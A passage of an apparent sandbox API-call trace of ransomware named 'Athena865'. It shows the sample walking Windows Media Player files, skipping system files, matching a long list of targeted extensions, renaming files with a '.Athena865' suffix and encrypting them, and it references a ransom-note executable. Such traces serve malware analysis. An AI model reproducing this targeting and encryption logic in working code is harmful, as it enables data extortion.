(lpString="nwdb") returned 4 [0090.856] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.856] lstrlenW (lpString="nyf") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.856] lstrlenW (lpString="odb") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.856] lstrlenW (lpString="odb") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.856] lstrlenW (lpString="oqy") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.856] lstrlenW (lpString="ora") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.857] lstrlenW (lpString="orx") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.857] lstrlenW (lpString="owc") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.857] lstrlenW (lpString="p96") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.857] lstrlenW (lpString="p97") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.857] lstrlenW (lpString="pan") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.857] lstrlenW (lpString="pdb") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.857] lstrlenW (lpString="pdm") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.857] lstrlenW (lpString="pnz") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.857] lstrlenW (lpString="qry") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.857] lstrlenW (lpString="qvd") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.857] lstrlenW (lpString="rbf") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.857] lstrlenW (lpString="rctd") returned 4 [0090.857] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.857] lstrlenW (lpString="rod") returned 3 [0090.857] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.857] lstrlenW (lpString="rodx") returned 4 [0090.857] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.858] lstrlenW (lpString="rpd") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.858] lstrlenW (lpString="rsd") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.858] lstrlenW (lpString="sas7bdat") returned 8 [0090.858] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0090.858] lstrlenW (lpString="sbf") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.858] lstrlenW (lpString="scx") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.858] lstrlenW (lpString="sdb") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.858] lstrlenW (lpString="sdc") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.858] lstrlenW (lpString="sdf") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.858] lstrlenW (lpString="sis") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.858] lstrlenW (lpString="spq") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.858] lstrlenW (lpString="te") returned 2 [0090.858] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.858] lstrlenW (lpString="teacher") returned 7 [0090.858] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0090.858] lstrlenW (lpString="tmd") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.858] lstrlenW (lpString="tps") returned 3 [0090.858] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.859] lstrlenW (lpString="trc") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.859] lstrlenW (lpString="trc") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.859] lstrlenW (lpString="trm") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.859] lstrlenW (lpString="udb") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.859] lstrlenW (lpString="udl") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.859] lstrlenW (lpString="usr") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.859] lstrlenW (lpString="v12") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.859] lstrlenW (lpString="vis") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.859] lstrlenW (lpString="vpd") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.859] lstrlenW (lpString="vvv") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.859] lstrlenW (lpString="wdb") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.859] lstrlenW (lpString="wmdb") returned 4 [0090.859] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.859] lstrlenW (lpString="wrk") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.859] lstrlenW (lpString="xdb") returned 3 [0090.859] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.860] lstrlenW (lpString="xld") returned 3 [0090.860] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.860] lstrlenW (lpString="xmlff") returned 5 [0090.860] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0090.860] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui.Athena865") returned 67 [0090.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\mpvis.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\mpvis.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.861] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\mpvis.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.861] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.861] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.862] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.862] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.862] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.864] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.864] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.865] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.865] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.866] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.866] CloseHandle (hObject=0x154) returned 1 [0090.866] CloseHandle (hObject=0x17c) returned 1 [0090.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.866] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="windows") returned -1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="bootmgr") returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="temp") returned -1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="pagefile.sys") returned 1 [0090.866] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="boot") returned 1 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ids.txt") returned 1 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ntuser.dat") returned 1 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="perflogs") returned 1 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="MSBuild") returned 1 [0090.867] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0090.867] lstrcpyW (in: lpString1=0x241e8a0, lpString2="setup_wm.exe.mui" | out: lpString1="setup_wm.exe.mui") returned="setup_wm.exe.mui" [0090.867] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0090.867] lstrlenW (lpString="Athena865") returned 9 [0090.867] lstrcmpiW (lpString1="m.exe.mui", lpString2="Athena865") returned 1 [0090.867] lstrlenW (lpString=".dll") returned 4 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".dll") returned 1 [0090.867] lstrlenW (lpString=".lnk") returned 4 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".lnk") returned 1 [0090.867] lstrlenW (lpString=".ini") returned 4 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".ini") returned 1 [0090.867] lstrlenW (lpString=".sys") returned 4 [0090.867] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".sys") returned 1 [0090.867] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0090.867] lstrlenW (lpString="bak") returned 3 [0090.867] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.867] lstrlenW (lpString="ba_") returned 3 [0090.867] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.867] lstrlenW (lpString="dbb") returned 3 [0090.867] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.867] lstrlenW (lpString="vmdk") returned 4 [0090.867] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.867] lstrlenW (lpString="rar") returned 3 [0090.867] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.867] lstrlenW (lpString="zip") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.868] lstrlenW (lpString="tgz") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.868] lstrlenW (lpString="vbox") returned 4 [0090.868] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.868] lstrlenW (lpString="vdi") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.868] lstrlenW (lpString="vhd") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.868] lstrlenW (lpString="vhdx") returned 4 [0090.868] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.868] lstrlenW (lpString="avhd") returned 4 [0090.868] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.868] lstrlenW (lpString="db") returned 2 [0090.868] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.868] lstrlenW (lpString="db2") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.868] lstrlenW (lpString="db3") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.868] lstrlenW (lpString="dbf") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.868] lstrlenW (lpString="mdf") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.868] lstrlenW (lpString="mdb") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.868] lstrlenW (lpString="sql") returned 3 [0090.868] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.868] lstrlenW (lpString="sqlite") returned 6 [0090.868] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0090.868] lstrlenW (lpString="sqlite3") returned 7 [0090.869] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0090.869] lstrlenW (lpString="sqlitedb") returned 8 [0090.869] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0090.869] lstrlenW (lpString="xml") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.869] lstrlenW (lpString="$er") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.869] lstrlenW (lpString="4dd") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.869] lstrlenW (lpString="4dl") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.869] lstrlenW (lpString="^^^") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.869] lstrlenW (lpString="abs") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.869] lstrlenW (lpString="abx") returned 3 [0090.869] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.869] lstrlenW (lpString="accdb") returned 5 [0090.869] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0090.869] lstrlenW (lpString="accdc") returned 5 [0090.869] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0090.869] lstrlenW (lpString="accde") returned 5 [0090.869] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0090.869] lstrlenW (lpString="accdr") returned 5 [0090.869] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0090.869] lstrlenW (lpString="accdt") returned 5 [0090.869] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0090.869] lstrlenW (lpString="accdw") returned 5 [0090.870] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0090.870] lstrlenW (lpString="accft") returned 5 [0090.870] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0090.870] lstrlenW (lpString="adb") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.870] lstrlenW (lpString="adb") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.870] lstrlenW (lpString="ade") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.870] lstrlenW (lpString="adf") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.870] lstrlenW (lpString="adn") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.870] lstrlenW (lpString="adp") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.870] lstrlenW (lpString="alf") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.870] lstrlenW (lpString="ask") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.870] lstrlenW (lpString="btr") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.870] lstrlenW (lpString="cat") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.870] lstrlenW (lpString="cdb") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.870] lstrlenW (lpString="ckp") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.870] lstrlenW (lpString="cma") returned 3 [0090.870] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.871] lstrlenW (lpString="cpd") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.871] lstrlenW (lpString="dacpac") returned 6 [0090.871] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0090.871] lstrlenW (lpString="dad") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.871] lstrlenW (lpString="dadiagrams") returned 10 [0090.871] lstrcmpiW (lpString1="wm.exe.mui", lpString2="dadiagrams") returned 1 [0090.871] lstrlenW (lpString="daschema") returned 8 [0090.871] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0090.871] lstrlenW (lpString="db-journal") returned 10 [0090.871] lstrcmpiW (lpString1="wm.exe.mui", lpString2="db-journal") returned 1 [0090.871] lstrlenW (lpString="db-shm") returned 6 [0090.871] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0090.871] lstrlenW (lpString="db-wal") returned 6 [0090.871] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0090.871] lstrlenW (lpString="dbc") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.871] lstrlenW (lpString="dbs") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.871] lstrlenW (lpString="dbt") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.871] lstrlenW (lpString="dbv") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.871] lstrlenW (lpString="dbx") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.871] lstrlenW (lpString="dcb") returned 3 [0090.871] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.872] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui.Athena865") returned 70 [0090.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.873] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56320) returned 1 [0090.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.873] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.874] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.874] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.874] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf00, lpName=0x0) returned 0x154 [0090.875] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf00) returned 0x100000 [0090.878] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.879] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.879] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.880] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.880] CloseHandle (hObject=0x154) returned 1 [0090.880] CloseHandle (hObject=0x17c) returned 1 [0090.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.881] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="windows") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="bootmgr") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="temp") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="pagefile.sys") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="boot") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="ids.txt") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="ntuser.dat") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="perflogs") returned 1 [0090.881] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="MSBuild") returned 1 [0090.881] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0090.881] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmlaunch.exe.mui" | out: lpString1="wmlaunch.exe.mui") returned="wmlaunch.exe.mui" [0090.882] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0090.882] lstrlenW (lpString="Athena865") returned 9 [0090.882] lstrcmpiW (lpString1="h.exe.mui", lpString2="Athena865") returned 1 [0090.882] lstrlenW (lpString=".dll") returned 4 [0090.882] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".dll") returned 1 [0090.882] lstrlenW (lpString=".lnk") returned 4 [0090.882] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".lnk") returned 1 [0090.882] lstrlenW (lpString=".ini") returned 4 [0090.882] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".ini") returned 1 [0090.882] lstrlenW (lpString=".sys") returned 4 [0090.882] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".sys") returned 1 [0090.882] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0090.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui.Athena865") returned 70 [0090.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.883] CreateFileW (lpFileName="C:\\Program Files\\Windows Media 